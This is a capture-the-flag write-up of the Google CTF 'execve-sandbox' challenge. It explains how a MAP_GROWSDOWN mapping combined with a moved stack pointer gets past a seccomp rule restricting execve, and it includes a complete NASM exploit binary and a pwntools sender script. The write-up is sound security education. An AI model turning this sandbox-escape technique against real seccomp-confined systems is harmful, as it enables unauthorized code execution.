by abiondo, andreafioraldi, pietroborrello
What a kewl sandbox! Seccomp makes it impossible to execute ./flag
The sandbox reads a 64bit binary and proceeds to execute it in a temporary folder.
But this is not so easy.
First of all the ELF header is checked:
static int elf_check(const char *filename, unsigned long mmap_min_addr)
{
Elf_Binary_t *elf_binary = elf_parse(filename);
if (elf_binary == NULL) {
warnx("failed to parse ELF binary");
return -1;
}
Elf_Header_t header = elf_binary->header;
uint8_t *identity = header.identity;
int ret = 0;
if (identity[EI_CLASS] != ELFCLASS64) {
warnx("invalid ELF class \"%s\"", ELF_CLASS_to_string(identity[EI_CLASS]));
ret = -1;
goto out;
}
mmap_min_addr += PAGE_SIZE;
unsigned int i;
Elf_Section_t** sections = elf_binary->sections;
for (i = 0; i < header.numberof_sections; ++i) {
Elf_Section_t* section = sections[i];
if (section == NULL) {
warnx("invalid section %d", i);
ret = -1;
goto out;
}
if (section->virtual_address != 0 &&
section->virtual_address < mmap_min_addr + PAGE_SIZE) {
warnx("invalid section \"%s\" (0x%lx)", section->name,
section->virtual_address);
ret = -1;
goto out;
}
}
Elf_Segment_t** segments = elf_binary->segments;
for (i = 0; segments[i] != NULL; ++i) {
Elf_Segment_t* segment = segments[i];
if (segment->virtual_address != 0 &&
segment->virtual_address < mmap_min_addr + PAGE_SIZE) {
warnx("invalid segment (0x%lx)", segment->virtual_address);
ret = -1;
goto out;
}
}
out:
elf_binary_destroy(elf_binary);
return ret;
}
As we can see the ELF must be 64 bits and each of its segments (don’t know why also section checked, maybe some PIE magic was possible) must be over the (mmap_min_addr + PAGE_SIZE) address. Then before executing the ELF some seccomp rules are added:
static int install_syscall_filter(unsigned long mmap_min_addr)
{
int allowed_syscall[] = {
SCMP_SYS(rt_sigreturn),
SCMP_SYS(rt_sigaction),
SCMP_SYS(rt_sigprocmask),
SCMP_SYS(sigreturn),
SCMP_SYS(exit_group),
SCMP_SYS(exit),
SCMP_SYS(brk),
SCMP_SYS(access),
SCMP_SYS(fstat),
SCMP_SYS(write),
SCMP_SYS(close),
SCMP_SYS(mprotect),
SCMP_SYS(arch_prctl),
SCMP_SYS(munmap),
SCMP_SYS(fstat),
SCMP_SYS(readlink),
SCMP_SYS(uname),
};
scmp_filter_ctx ctx;
unsigned int i;
int ret;
ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
warn("seccomp_init");
return -1;
}
for (i = 0; i < sizeof(allowed_syscall) / sizeof(int); i++) {
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, allowed_syscall[i], 0) != 0) {
warn("seccomp_rule_add");
ret = -1;
goto out;
}
}
This allows us to execute some system call, but unfortunately we won’t need them, and then comes the interesting part, that should prevent us from executing ./flag:
/* prevent mmap to map mmap_min_addr */
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 1,
SCMP_A0(SCMP_CMP_GE, mmap_min_addr + PAGE_SIZE)) != 0) {
warn("seccomp_rule_add");
ret = -1;
goto out;
}
/* first execve argument (filename) must be mapped at mmap_min_addr */
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 1,
SCMP_A0(SCMP_CMP_EQ, mmap_min_addr)) != 0) {
warn("seccomp_rule_add");
ret = -1;
goto out;
}
These rules are quite tricky but essentially allows the execve syscall only if the first argument is mapped to mmap_min_addr address, but allow us to mmap only addresses above mmap_min_addr + PAGE_SIZE. Therefore it seems impossible to execute any binary.
After reading the mmap man page, we came up to an interesting flag:
MAP_GROWSDOWN
This flag is used for stacks. It indicates to the kernel
virtual memory system that the mapping should extend downward
in memory. The return address is one page lower than the
memory area that is actually created in the process's virtual
address space. Touching an address in the "guard" page below
the mapping will cause the mapping to grow by a page. This
growth can be repeated until the mapping grows to within a
page of the high end of the next lower mapping, at which point
touching the "guard" page will result in a SIGSEGV signal.
So our first idea was to allocate a page starting at mmap_min_addr + PAGE_SIZE + 1 using the MAP_GROWSDOWN flag, and to access the address at mmap_min_addr.
Therefore since the guard page was touched, as stated on the doc, the kernel should map the page for us. But apparently the documentation was not complete, and just the flag is not enough to let the system work. But we will discover this later.
While trying to make the MAP_GROWSDOWN system work we tried some other ideas. There is presented a short list of ideas we came up with:
Ideas | Why not |
---|---|
Use brk(0x10000) to move the program break to the target | Unfortunately brk() just allows contiguous block allocation. |
Use MAP_HUGETLB to allocate a page spanning more than PAGE_SIZE at mmap_min_addr + PAGE_SIZE + 1 to get back aligned to mmap_min_addr | Default policy for most system is to deny allocation for huge pages, and the server was too |
Use sbrk(0x10000 - sbrk(0))to move the program break to the target | Translating the program break would have result in allocating the whole contiguous memory area in between, unfortunately a negative value for sbrk() only deallocates memory instead of allocating upward |
Exploit some race conditions passing a binary with lots of sections to let the LIEF check run, and execute in parallel another quick binary that would mmap the first file in memory (file tmp location was printed on stdout) and change data section address, after being checked | I think it was hard but could have worked if only we have had the open() function |
Trying to place the data segment at address 0x0 (that would pass the check), and let him grow up to 0x10000 | Obviously memory areas at program startup are allocated with mmap, therefore any allocation under mmap_min_addr will fail |
Passing a PIE binary and try to load it at segment at 0x10000, it would pass the checks since the segment addressed would be 0x0 | I still believe the idea could work, but we didn’t succeed to make it |
mmap() the whole address space starting from mmap_min_addr + PAGE_SIZE + 1 (using the flag MAP_32BIT to restrict it) to let the kernel select as the last page mmap_min_addr for us. | Our implementations never wrapped around into mmap_min_addr. We thought that due to ASLR, the mmap() function never wrapped over the mmap_base address before returning -1. So we couldn’t map the whole address space without MAP_FIXED |
The long table should suggest our frustration to make the MAP_GROWSDOWN system work. After giving up with all the other alternatives, we concluded that making MAP_GROWSDOWN to work was our only alternative to eternal damnation.
So we took our kernel reading skillz and started to investigate how the whole system should have worked.
As we should know every time unallocated memory is touched by a process (also due to Copy On Write or Lazy Physical Allocation) the kernel handler __do_page_fault
is called.
Since MAP_GROWSDOWN (according to the doc) should trigger the memory expansion when the unallocated guard page was touched, __do_page_fault
was exactly the right point to exhamine.
The first thing to do, since we had the possibility, was to run an ELF that would check the system running through the uname() syscall, to know the exact kernel version to read.
Running the binary we discover that Linux Kernel 4.13 was used, and in arch/x86/mm/fault.c
we find our function.
__do_page_fault(struct pt_regs *regs, unsigned long error_code,
unsigned long address)
Before starting to dig in the code let’s take a look to “Understading the Linux Kernel” which provides a great image for the Page Fault Handler (for v2.6 but still valid).
Remember that we are accessing an unmapped memory region (the guard page) in user space, and we fail with a SIGSEGV, so let’s examine the flow:
Now we should see where we were wrong: we fail the check “Address could belong to User Mode stack”, and to know why (even if now we could guess) let’s examine the kernel code:
if (error_code & PF_USER) {
if (unlikely(address + 65536 + 32 * sizeof(unsigned long) < regs->sp))
{
bad_area(regs, error_code, address);
return;
}
}
if (unlikely(expand_stack(vma, address))) {
bad_area(regs, error_code, address);
return;
}
Therefore avoiding bad_area, will result in expand_stack get executed, that will map our memory region, calling expand_downward from the passed address.
So setting rsp to an address near before the faulting address, will simulate a User Mode Stack. Just a mov rsp, 0x10100 was missing to our initial code!
So our final ELF will be:
BITS 64
org 0x400000
ehdr: ; Elf64_Ehdr
db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
_start:
mov rax, 9 ; mmap
mov rdi, 0x11000 ; addr = 0x11000
mov rsi, 4096 ; size = 4096
mov rdx, 3 ; prot = PROT_READ | PROT_WRITE
mov r10, 306 ; flags = MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_GROWSDOWN
xor r8, r8 ; fd = -1
dec r8
xor r9, r9 ; off = 0
syscall
mov rax, qword [filename]
mov r10, rsp
mov rsp, 0x10100
mov qword [0x10000], rax
mov rax, 59 ; execve
mov rdi, 0x10000 ; filename
push 0
mov rdx, rsp ; envp = {0}
push 0x10000
mov rsi, rsp ; argv = {0x10000, 0}
syscall
filename db "./flag"
db 0
filesize equ $ - $$
And compiling it with
$ nasm -f bin -o flagger flagger.asm
Will give us the final binary to send with:
#!/usr/bin/env python2
from pwn import *
assert len(sys.argv) > 1
with open(sys.argv[1], 'rb') as f:
payload = f.read()
p = remote('execve-sandbox.ctfcompetition.com', 1337)
p.recvuntil('[*] waiting for an ELF binary...')
p.send(payload + 'deadbeef')
p.interactive()
Will give us our beloved flag!
CTF{Time_to_read_that_underrated_Large_Memory_Management_Vulnerabilities_paper}
In the following link to a zip file you can find the execve-sandbox.c source code, the execve-sandbox binary, the libLIEF.so binary needed to run execve-sandbox, the full exploit in the flagger.asm file and the run.py script.
Attachment: https://drive.google.com/file/d/1RbE5jM5aG8phRHA7s6–fbF4chsGMBpg/view?usp=sharing
tags: google - ctf - pwn - mhackeroni